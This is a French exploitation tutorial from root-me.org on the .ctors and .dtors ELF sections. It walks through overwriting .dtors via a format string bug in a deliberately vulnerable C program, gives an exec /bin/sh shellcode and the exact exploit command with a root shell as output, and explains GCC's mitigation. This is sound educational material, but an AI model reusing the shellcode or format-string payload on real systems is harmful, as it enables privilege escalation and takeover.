La section dtors - Big
Transcription
La section dtors - Big
La section dtors Extrait du root-me.org http://root-me.org/spip.php?article445 La section dtors - Français - Documentation - Hacking - Date de mise en ligne : dimanche 14 mars 2010 root-me.org Copyright © root-me.org Page 1/10 La section dtors Introduction Les sections .dtors et .ctors sont présentes dans tous les binaires compilés avec GNU C (gcc). Elles permettent d'appeler des fonctions avant et/ou après la fonction main() Nous allons voir qu'avec un peu de malice il est possible de s'en servir afin d'executer du code arbitaire. Théorie La section .ctors La section .ctrors fournie une liste d'adresses de fonctions (constructeur) qui seront exécutées avant l'appelle de la fonction main(). On peut déclarer une fonction comme "constructeur" avec l'attribut constructor comme ceci : Code C : static void fonction_constructeur(void) __atribute__ ((constructor)); Cette fonction sera exécutée avant la fonction main. La section .dtors La section .dtrors fournie une liste d'adresses de fonctions (destructeur) qui seront exécutées après l'appelle de la fonction main(). On peut déclarer une fonction comme "destructeur" avec l'attribut destructeur comme ceci : Code C : static void fonction_destructeur(void) __atribute__ ((destructor)); Cette fonction sera exécutée avant la fonction main. Exemple de programme Code C : Copyright © root-me.org Page 2/10 La section dtors static void fonction_constructeur(void) __attribute__ ((constructor)); // Le prototype de la fonction fonction_constructeur. static void fonction_destructeur(void) __attribute__ ((destructor)); // Le prototype de la fonction fonction_destructeur. int main(void) { printf("Je suis la fonction main()"); return 0; } void fonction_constructeur(void) { printf("Je suis la fonction contructeur, je suis exécutée avant la fonction main()"); } void fonction_destructeur(void) { printf("Je suis la fonction destructeur, je suis exécuté après la fonction main()"); }<div class='code_download' style='text-align: right;'> <a href='local/cache-code/1d92fafb809dba68e1d1af5358c77ae7.txt' style='font-family: verdana, arial, sans; font-weight: bold; font-style: normal;'>Télécharger On compile : $ gcc -o prog prog.c On exécute : $ ./prog Je suis la fonction constructeur, je suis exécutée avant la fonction main() Je suis la fonction main() Je suis la fonction destructeur, je suis exécutée après la fonction main() Voir les sections dans le binaire Pour voir ces sections en dure dans les binaires nous disposons de divers outils : • • • • nm objdump ob etc ... Recupérer l'adresse des sections avec nm $ nm ./prog 08049584 d _DYNAMIC 08049658 d _GLOBAL_OFFSET_TABLE_ 080484ac R _IO_stdin_used w _Jv_RegisterClasses 08049570 d __CTOR_END__ <<<<<<<< Fin de la section .ctors 08049568 d __CTOR_LIST__ <<<<<<<< Début de la section .ctors Copyright © root-me.org Page 3/10 La section dtors 0804957c D __DTOR_END__ <<<<<<<< 08049574 d __DTOR_LIST__ Fin de la section .dtors <<<<<<<< Début de la section .dtors 08048564 r __FRAME_END__ 08049580 d __JCR_END__ 08049580 d __JCR_LIST__ 08049678 A __bss_start 08049670 D __data_start 08048460 t __do_global_ctors_aux 08048320 t __do_global_dtors_aux 08049674 D __dso_handle w __gmon_start__ 0804845a T __i686.get_pc_thunk.bx 08049568 d __init_array_end 08049568 d __init_array_start 080483f0 T __libc_csu_fini 08048400 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 08049678 A _edata 08049680 A _end 0804848c T _fini 080484a8 R _fp_hw 08048274 T _init 080482f0 T _start 08049678 b completed.5829 08049670 W data_start 0804967c b dtor_idx.5831 080483c0 t fonction_constructeur <<<<< L'adresse de fonction_constructeur 080483d4 t fonction_destructeur <<<<<< L'adresse de fonction_destructeur 08048380 t frame_dummy 080483a4 T main U puts@@GLIBC_2.0 __DTOR_LIST__ représente le debut du .dtors. __DTOR_END__ représente la fin de .dtors. Voir la structure des sections avec objdump Maintenant nous allons voir comment elles sont structurées dans le binaire avec objdump. $ objdump -s -j .dtors ./prog ./prog: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff {d4830408} 00000000 Copyright © root-me.org ............ Page 4/10 La section dtors $ objdump -s -j .ctors ./prog ./prog: file format elf32-i386 Contents of section .ctors: 8049568 ffffffff {c0830408} 00000000 ............ Ici nous voyons trois choses : • Le DWORD 0xffffffff qui marque le début de la section, est contenu à l'adresse 0x8049568 qui est représentée par le symbole __DTOR_LIST__ vu plus haut. • L'adresse des fonctions "fonction_constructeur" et "fonction_destructeur" au centre. • Le DWORD NULL 0x00000000 représenté par le symbole __DTOR_END__. Exploitation Maintenant en sachant tout cela, on peut imaginer comment détourner le flux d'execution du programme : Si on arrive à écraser l' adresse contenue dans la section .dtors et de la remplacer par l'adresse d'un d'un shellcode ou d'une fonction de la libc dans le cas d'un ret2libc. Mais comment arriver à ecrire dans la section .dtors me direz-vous ? Et bien avec une vulnerabilitée bien connu : Vulnérabilitée de chaine de format (string format vulnerability). Avec une telle ouverture dans le binaire il nous est possible d'écrire où l'on veut en mémoire, et donc dans la section .dtors ! Deux cas de figure se presentes : • Soit il y a déjà une adresse de fonction présente comme dans l'exemple ci-dessus : Ainsi nous avons juste à remplacer l'adresse 0xc0830408 8049568 ffffffff c0830408 00000000 • Soit il n'y a pas d'adresses présente. Dans ce cas là, la section se presentera comme ceci : 8049568 ffffffff 00000000 Il est possible d'écraser la valeur à l'adresse de __DTOR_END__, soit 0x00000000 dans l'exemple, pour rediriger le flux d'éxécution où l'on veut. Mise en pratique Prérequi : • • • Pas d'ASLR Avoir la section .dtors en +w Ne pas avoir de protection sur le nombre de pointeur de fonction dans le .dtors (voir au bas de l'article) Copyright © root-me.org Page 5/10 La section dtors Remaque : cela pourait aussi fonctionner avec l'ASLR, mais cela compliquerait les choses et ce n'est pas le but de cette article. La théorie c'est bien mais il faut aussi passer à la pratique, pour fixer les connaisances. On se trouve face à ce programme : Code C : #include <stdio.h> int main(int argc, char *argv[]) { char buff[128]; strcpy(buff, argv[1]); printf(buff); printf("\n"); return 0; } <div class='code_download' style='text-align: right;'> <a href='local/cache-code/e0240ff49605e0d700c52ee9f780ee87.txt' style='font-family: verdana, arial, sans; font-weight: bold; font-style: normal;'>Télécharger On voit tout de suite la grave erreur sur le printf(buff); On va donc l'exploiter cette format string vulnerability pour écrire l'adresse d'un shellcode dans la section .dtors. Le shellcode va se trouver dans une variable d'environnement donc dans le pile (stack). Déjà on regarde si le .dtors est en +w sinon ça ne sert à rien. On compile et on lance gdb : gcc vuln.c -o vuln gdb -q ./vuln (gdb) info file .... 0x08049508 - 0x08049510 is .dtors .... (gdb) info proc process 2563 cmdline = '/tmp/test/vuln' cwd = '/tmp/test' exe = '/tmp/test/vuln' Copyright © root-me.org Page 6/10 La section dtors (gdb) shell cat /proc/2563/maps 08048000-08049000 r-xp 00000000 08:01 14988 /tmp/test/vuln 08049000-0804a000 rwxp 00000000 08:01 14988 /tmp/test/vuln b7eb2000-b7eb3000 rwxp b7eb2000 00:00 0 b7eb3000-b7fda000 r-xp 00000000 08:01 16586 /lib/tls/i686/cmov/libc-2.3.6.so b7fda000-b7fdf000 r-xp 00127000 08:01 16586 /lib/tls/i686/cmov/libc-2.3.6.so b7fdf000-b7fe1000 rwxp 0012c000 08:01 16586 /lib/tls/i686/cmov/libc-2.3.6.so b7fe1000-b7fe4000 rwxp b7fe1000 00:00 0 b7fe8000-b7fea000 rwxp b7fe8000 00:00 0 b7fea000-b7feb000 r-xp b7fea000 00:00 0 [vdso] b7feb000-b8000000 r-xp 00000000 08:01 90620 /lib/ld-2.3.6.so b8000000-b8002000 rwxp 00014000 08:01 90620 /lib/ld-2.3.6.so bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack] Le .dtors se trouve en 0x08049508 et sur la maps de la mémoire on voit que l'intervalle 08049000-0804a000 est en +x, on va pouvoir écrire dedans. Maintenant il faut regarder si la section est vide : nm ./vuln | grep dtors 0804950c d __DTOR_END__ 08049508 d __DTOR_LIST__ 0x0804950c - 0x08049508 = 4 Donc la section est vide, on verifie : objdump -s -j .dtors ./vuln ./vuln: file format elf32-i386 Contents of section .dtors: 8049508 ffffffff 00000000 ........ Confirmation que la liste est vide, il va donc falloir écraser le DWORD NULL. Ce DWORD NULL se trouve à l'adresse de la section .dtors + 4 : 0x08049508 + 0x4 = 0x0804950c Passons au shellcode : On prend un shellcode exec /bin/sh : printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x3 1\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" > shellcode.bin On le met dans l'environnement : export SHELLCODE=$(cat shellcode.bin) Il faut maintenant connaitre l'adresse de notre shellcode, on va utiliser ce petit programme qui prédit l'adresse d'une Copyright © root-me.org Page 7/10 La section dtors variable dans l'environnemnt d'un programme demandé : #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } ptr = getenv(argv[1]); if(ptr == NULL) { printf("%s doesn't exist", argv[1]); return -1; } ptr += (strlen(argv[0]) - strlen(argv[2]))*2; printf("%s is at %p\n", argv[1], ptr); return 0; }<div class='code_download' style='text-align: right;'> <a href='local/cache-code/e4c49e41a5bb5d1207c1d18350f62a06.txt' style='font-family: verdana, arial, sans; font-weight: bold; font-style: normal;'>Télécharger On compile et exécute : gcc getenvaddr.c -o getenvaddr ./getenvaddr SHELLCODE ./vuln SHELLCODE is at 0xbffffbc8 On récapitule : • • L'adresse du DWORD NULL a écraser : 0x0804950c L'adresse du shellcode : 0xbffffbc8 On exploit : ./vuln $(printf "\x0e\x95\x04\x08\x0c\x95\x04\x08")%49143x%8\$hn%15305x%9\$hn .... .... sh-3.1# whoami root sh-3.1# Et voila ! On a un shell ! Il n'est pas beau ?? Copyright © root-me.org Page 8/10 La section dtors Protection de la section .dtors Il aurait été trop beau que cette technique marche à tous les coups. Une protection sur la section .dtors existe, plus précisément sur le nombre de fonctions à exécuter. C'est à dire que si dans un binaire aucun poiteur ne se trouve dans la section .dtors (comme dans l'exemple ci-dessus), aucune adresse ne sera pris en compte. Donc même si on ecrase le DWORD NULL par l'adresse d'un shellcode, celui-ci ne sera pas executé ! Cette protection se trouve dans le fonction __do_global_dtors_aux(), c'est cette fontion qui se charge d'exécuter les pointeurs présents dans le .dtors. Examinons ceci de plus près : Fonction __do_global_dtors_aux() avec la protection 0x08048300 <__do_global_dtors_aux+16>: mov eax,ds:0x804954c Ici eax va être à 0, eax va représenter le nombre de fonctions déjà executées, il est donc égal à 0 0x08048305 <__do_global_dtors_aux+21>: mov ebx,0x8049450 0x0804830a <__do_global_dtors_aux+26>: sub ebx,0x804944c ebx va être egal à l'adresse de __DTOR_END__, et on y soustrait l'adresse de __DTOR_LIST__. ebx va donc être égal à 4 octets, ce qui représente la taile du DWORD 0xffffffff. 0x08048310 <__do_global_dtors_aux+32>: sar ebx,0x2 0x08048313 <__do_global_dtors_aux+35>: sub ebx,0x1 Ici en gros on retire 4 octets à ebx. Donc ebx = 0. 0x08048316 <__do_global_dtors_aux+38>: cmp eax,ebx 0x08048318 <__do_global_dtors_aux+40>: jae 0x8048338 <__do_global_dtors_aux+72> On compare eax et ebx, ils sont tous les deux égales à 0, arrivé au jae on saute et on quitte la fonction. • Resultat : Aucune fonction n'a été executée, même si l'on aurait écrasé le DWORD NULL. Si ebx est supérieur à eax on continue et on boucle sur ce code : 0x0804831a <__do_global_dtors_aux+42>: lea esi,[esi+0x0] 0x08048320 <__do_global_dtors_aux+48>: add eax,0x1 0x08048323 <__do_global_dtors_aux+51>: mov ds:0x804954c,eax 0x08048328 <__do_global_dtors_aux+56>: call DWORD PTR [eax*4+0x804944c] 0x0804832f <__do_global_dtors_aux+63>: mov eax,ds:0x804954c 0x08048334 <__do_global_dtors_aux+68>: cmp eax,ebx 0x08048336 <__do_global_dtors_aux+70>: jb 0x8048320 <__do_global_dtors_aux+48> Ici on va simplement : • • • Incrémenter eax, (qui je le rappelle est égal au nombre de fonctions exécutées jusqu'à maintenant). Appeller la procahine fontion présente dans la liste. Tester si il reste encore une fonction à exécuter. Copyright © root-me.org Page 9/10 La section dtors Conclusion Nous avons donc vu se que sont les sections .dtors et .ctors, et plus intéressant, comment elles peuvent être la cible d'attaques pour prendre le contrôle de l'application. Bien, que comme il est montré à la fin, les programmes compilés avec des versions récentes de GCC, on une protection. Elle empêche d'exécuter du code arbitraire, si aucune adresse n'est présente dans la section .dtors. Mais si une adresse est présente, rien ne nous empêche de l'écraser et de détourner le flux, à par peut être le DROP du droit d'écriture sur la section. En espérant que cet article vous ai plu. Copyright © root-me.org Page 10/10